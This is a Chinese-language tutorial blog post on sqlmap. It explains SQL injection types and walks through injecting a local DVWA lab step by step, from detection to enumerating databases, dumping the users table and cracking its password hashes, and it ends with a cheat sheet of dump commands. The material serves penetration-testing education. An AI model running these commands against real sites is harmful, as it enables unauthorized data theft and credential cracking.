Sqlmap入门使用攻略

1、Sqlmap介绍

  • Sqlmap 是一个自动化的 SQL 注入工具,其主要功能是扫描、发现并利用给定的 Url 的 Sql 注入漏洞。
  • 基于python编写,需要在python2环境下才可以正常运行。
  • 目前支持 MySQL、 Oracle、 PostgreSQL、 Microsoft SQL Server、 Microsoft Access 等主流数据库。

项目地址:源码下载

2、Sql注入原理

  • 当客户端提交的数据未作处理或转义直接带入数据库,就可能造成sql注入,攻击者通过直接构造不同的sql语句来实现对数据库的任意操作。

3、Sql注入的分类

  • 按变量类型分:数字型和字符型

  • 按照HTTP提交方式分:POST注入、GET注入和 Cookie注入

  • 按注入方式分:布尔注入、延时注入、报错注入、联合注入、内联注入 等…

Sqlmap 使用 5 种 sql 注入技术(不加参数默认测试所有注入技术):

  1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  2. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  4. 联合查询注入,可以使用 union 的情况下的注入。
  5. 堆查询注入,可以同时执行多条语句的执行时的注入。

当使用 Sqlmap 对一个注入点是进行了测试时,可以使用 -v x 参数指定回显信息的复杂度,x属于[0~6]:

共有 7 个等级,默认为 1:

  • 0:只显示python错误以及严重的信息。
  • 1:同时显示基本信息和警告信息。(默认)
  • 2:同时显示debug信息。
  • 3:同时显示注入的payload。
  • 4:同时显示HTTP请求。
  • 5:同时显示HTTP响应头。
  • 6:同时显示HTTP响应页面。

如果想看到 Sqlmap 发送的测试 payload 最好的等级就是3,例:

python sqlmap.py -v 3 -u "http://www.xxx.com/a.php?id=xxx"

4、测试Sqlmap

这里使用DVWA靶场进行测试,在DVWA页面中选择 SQL Injection

在这里插入图片描述
一、首先肯定是要判断是否有注入漏洞,在输入框输入1,返回

ID: 1
First name: admin
Surname: admin

在这里插入图片描述
返回正常;

再次输入1',报错,返回

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near “ 1' “ at line 1

在这里插入图片描述
此时可以断定有SQL注入漏洞且为单引号闭合的字符型注入,下面利用SQLMap进行注入攻击。

二、利用Sqlmap工具:

1、先进行基本的测试

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/index.php?id=1&Submit=Submit" 

-u 参数表示url,指定连接目标

得到提示:

在这里插入图片描述
Sqlmap 得到302重定向到 “ http://localhost:80/DVWA/login.php “。你想跟上吗?[y/n]

根据该提示,可以判断(302重定向)跳转至登录页面,看来需要带cookie,否则可能无法正常执行。

解释:web应用需要登录的时候需要加 cookie参数

不加则如下:

在这里插入图片描述
F12打开控制台,在网络里得到Cookie信息。

PHPSESSID    "lqumo7do6sle0vl4gi7b9qqd57"
security    "low"

M6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzNTMxNjY5,size_16,color_FFFFFF,t_70#pic_center)
加上带cookie参数再次测试:

 python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;sec
urity=low"

得到:

the back-end DBMS is MySQL //后台数据库管理系统:MySQL
web server operating system: Windows //Web服务武器操作系统:Windows
web application technology: PHP 5.4.45, Apache 2.4.23 //Web应用技术: PHP 5.4.45, Apache 2.4.23 
back-end DBMS: MySQL >= 5.0 //后台数据库:MySQL

在这里插入图片描述
发现sqlmap可以跑出数据来了,构造其他语句,继续查取数据。

2、列出数据库信息:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;s ecurity=low" --dbs

--dbs 表示列出目标有哪些数据库

得到8个mysql下数据库名:
在这里插入图片描述

3、获取当前的数据库:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --current-db

--current-db得到当前使用的数据库

在这里插入图片描述
得到:current database: 'dvwa'

即:当前数据库名为:dvwa

4、获取当前数据库下的表:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --table -D "dvwa"

--table -D "xxx" :得到xxx数据库下面的表
在这里插入图片描述
5、获取数据库dvwa下user表的字段:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --columns -T "users" -D "dvwa"

--columns -T "" -D "" 得到数据库下面的表下面的列(columns)

得到:
在这里插入图片描述

6、获取user表里的字段值:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --dump -T users -D dvwa  

过程中会出现的部分提示信息:

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
您是否要将散列存储到临时文件中,以便最终使用其他工具进行进一步处理

do you want to crack them via a dictionary-based attack? [Y/n/q]
您是否想通过基于字典的攻击来破解它们?

what dictionary do you want to use?
用什么字典来破解?

[1] default dictionary file 'C:\WangAn\Sqlmap\txt\wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
回车会直接使用第一个

do you want to use common password suffixes? (slow!) [y/N]
您是否要使用通用密码后缀? (慢!)

最终得到:
在这里插入图片描述
至此,dvwa的low级别使用SQLMap工具注入完成。

下面是一些Sqlmap常用选项:

sqlmap -u "注入地址" --dbs          // 列举数据库
sqlmap -u "注入地址" --tables -D "数据库" // 列举数据库的表名
sqlmap -u "注入地址" --columns -T "表名" -D "数据库" // 获取表的列名
sqlmap -u "注入地址" --dump  -T "表名" -D "数据库" // 获取表中指定字段的数据
sqlmap -u "注入地址" --dump -C "字段,字段" -T "表名" -D "数据库" // 获取表中的所有数据

sqlmap -r "含http头的文件" --dbs          // 列举数据库
sqlmap -r "含http头的文件" --tables -D "数据库" // 列举数据库的表名
sqlmap -r "含http头的文件" --columns -T "表名" -D "数据库" // 获取表的列名
sqlmap -r "注入地址" --dump  -T "表名" -D "数据库" // 获取表中指定字段的数据
sqlmap -r "含http头的文件" --dump -C "字段,字段" -T "表名" -D "数据库" // 获取表中的所有数据

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 2058751973@qq.com

×

喜欢就点赞,疼爱就打赏